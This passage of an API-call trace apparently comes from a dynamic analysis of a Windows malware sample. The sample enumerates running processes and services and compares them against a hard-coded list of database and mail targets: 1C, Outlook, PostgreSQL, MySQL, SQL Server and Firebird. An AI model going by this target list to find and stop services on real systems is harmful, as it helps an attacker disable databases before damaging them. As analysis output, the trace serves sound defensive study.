hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0226.313] lstrlenW (lpString="services.exe") returned 12 [0226.313] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0226.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0226.314] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0226.314] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0226.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0226.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0226.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0226.314] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0226.315] lstrlenW (lpString="lsass.exe") returned 9 [0226.315] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0226.315] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0226.315] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0226.315] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0226.315] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0226.315] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0226.316] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0226.316] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0226.317] lstrlenW (lpString="lsm.exe") returned 7 [0226.317] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0226.317] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0226.317] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0226.317] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0226.317] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0226.317] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0226.317] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0226.327] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.328] lstrlenW (lpString="svchost.exe") returned 11 [0226.328] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.328] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.328] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.329] lstrlenW (lpString="svchost.exe") returned 11 [0226.329] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.330] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.330] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.331] lstrlenW (lpString="svchost.exe") returned 11 [0226.331] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.331] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.331] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.331] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.331] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.332] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0226.332] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0226.332] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.333] lstrlenW (lpString="svchost.exe") returned 11 [0226.333] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0226.334] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0226.334] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0226.334] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0226.334] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0226.334] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.335] lstrlenW (lpString="svchost.exe") returned 11 [0226.335] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0226.336] lstrlenW (lpString="audiodg.exe") returned 11 [0226.336] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.337] lstrlenW (lpString="svchost.exe") returned 11 [0226.337] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0226.339] lstrlenW (lpString="userinit.exe") returned 12 [0226.339] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0226.340] lstrlenW (lpString="explorer.exe") returned 12 [0226.340] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0226.341] lstrlenW (lpString="dwm.exe") returned 7 [0226.341] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.342] lstrlenW (lpString="svchost.exe") returned 11 [0226.342] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0226.343] lstrlenW (lpString="driver.exe") returned 10 [0226.343] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0226.344] lstrlenW (lpString="spoolsv.exe") returned 11 [0226.344] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0226.345] lstrlenW (lpString="taskhost.exe") returned 12 [0226.345] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0226.346] lstrlenW (lpString="svchost.exe") returned 11 [0226.346] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0226.347] lstrlenW (lpString="dllhost.exe") returned 11 [0226.347] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0226.349] lstrlenW (lpString="reader_sl.exe") returned 13 [0226.349] Process32NextW (in: hSnapshot=0x388, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0226.350] CloseHandle (hObject=0x388) returned 1 [0226.351] Sleep (dwMilliseconds=0x1f4) [0227.159] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c31f8 [0227.354] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0227.355] GetLastError () returned 0xea [0227.355] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xcec) returned 0x41d0998 [0227.355] EnumServicesStatusExW (in: hSCManager=0x41c31f8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41d0998, cbBufSize=0xcec, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41d0998, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0227.356] CloseServiceHandle (hSCObject=0x41c31f8) returned 1 [0227.360] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0227.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0227.360] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0227.360] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0227.360] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0227.360] lstrlenW (lpString="AudioSrv") returned 8 [0227.360] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0227.360] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0227.361] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0227.361] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0227.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0227.361] lstrlenW (lpString="BFE") returned 3 [0227.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0227.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0227.361] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0227.361] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0227.361] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0227.361] lstrlenW (lpString="CryptSvc") returned 8 [0227.361] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0227.361] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0227.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0227.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0227.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0227.362] lstrlenW (lpString="CscService") returned 10 [0227.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0227.362] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0227.362] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0227.362] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0227.362] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0227.362] lstrlenW (lpString="DcomLaunch") returned 10 [0227.362] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.363] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0227.363] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0227.363] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0227.363] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0227.363] lstrlenW (lpString="Dhcp") returned 4 [0227.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0227.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0227.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0227.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0227.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0227.364] lstrlenW (lpString="Dnscache") returned 8 [0227.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0227.364] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0227.364] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0227.364] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0227.364] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0227.364] lstrlenW (lpString="DPS") returned 3 [0227.364] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0227.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0227.365] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0227.365] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0227.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0227.365] lstrlenW (lpString="eventlog") returned 8 [0227.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0227.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0227.365] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0227.365] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0227.365] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0227.365] lstrlenW (lpString="EventSystem") returned 11 [0227.365] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0227.365] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0227.366] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0227.366] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0227.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0227.366] lstrlenW (lpString="gpsvc") returned 5 [0227.366] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0227.366] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0227.366] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0227.366] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0227.366] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0227.366] lstrlenW (lpString="LanmanWorkstation") returned 17 [0227.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0227.367] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0227.367] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0227.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0227.367] lstrlenW (lpString="lmhosts") returned 7 [0227.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0227.367] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0227.367] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0227.367] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0227.367] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0227.367] lstrlenW (lpString="MMCSS") returned 5 [0227.367] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0227.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0227.368] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0227.368] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0227.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0227.368] lstrlenW (lpString="MpsSvc") returned 6 [0227.368] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0227.368] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0227.368] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0227.368] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0227.368] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0227.369] lstrlenW (lpString="NlaSvc") returned 6 [0227.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0227.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0227.369] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0227.369] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0227.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0227.369] lstrlenW (lpString="nsi") returned 3 [0227.369] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0227.369] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0227.369] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0227.369] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0227.369] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0227.370] lstrlenW (lpString="PcaSvc") returned 6 [0227.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0227.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0227.370] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0227.370] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0227.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0227.370] lstrlenW (lpString="PlugPlay") returned 8 [0227.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0227.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0227.370] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0227.370] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0227.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0227.371] lstrlenW (lpString="Power") returned 5 [0227.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0227.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0227.371] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0227.371] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0227.371] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0227.371] lstrlenW (lpString="ProfSvc") returned 7 [0227.371] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0227.371] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0227.371] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0227.371] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0227.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0227.372] lstrlenW (lpString="RpcEptMapper") returned 12 [0227.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0227.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0227.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0227.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0227.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0227.372] lstrlenW (lpString="RpcSs") returned 5 [0227.372] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0227.372] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0227.372] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0227.372] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0227.372] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0227.373] lstrlenW (lpString="SamSs") returned 5 [0227.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0227.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0227.373] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0227.373] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0227.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0227.373] lstrlenW (lpString="Schedule") returned 8 [0227.373] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0227.373] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0227.373] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0227.373] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0227.373] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0227.374] lstrlenW (lpString="SENS") returned 4 [0227.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0227.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0227.374] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0227.374] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0227.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0227.374] lstrlenW (lpString="ShellHWDetection") returned 16 [0227.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0227.374] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0227.374] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0227.374] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0227.374] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0227.374] lstrlenW (lpString="Spooler") returned 7 [0227.374] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0227.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0227.375] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0227.375] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0227.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0227.375] lstrlenW (lpString="SysMain") returned 7 [0227.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0227.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0227.375] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0227.375] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0227.375] lstrcmpiW 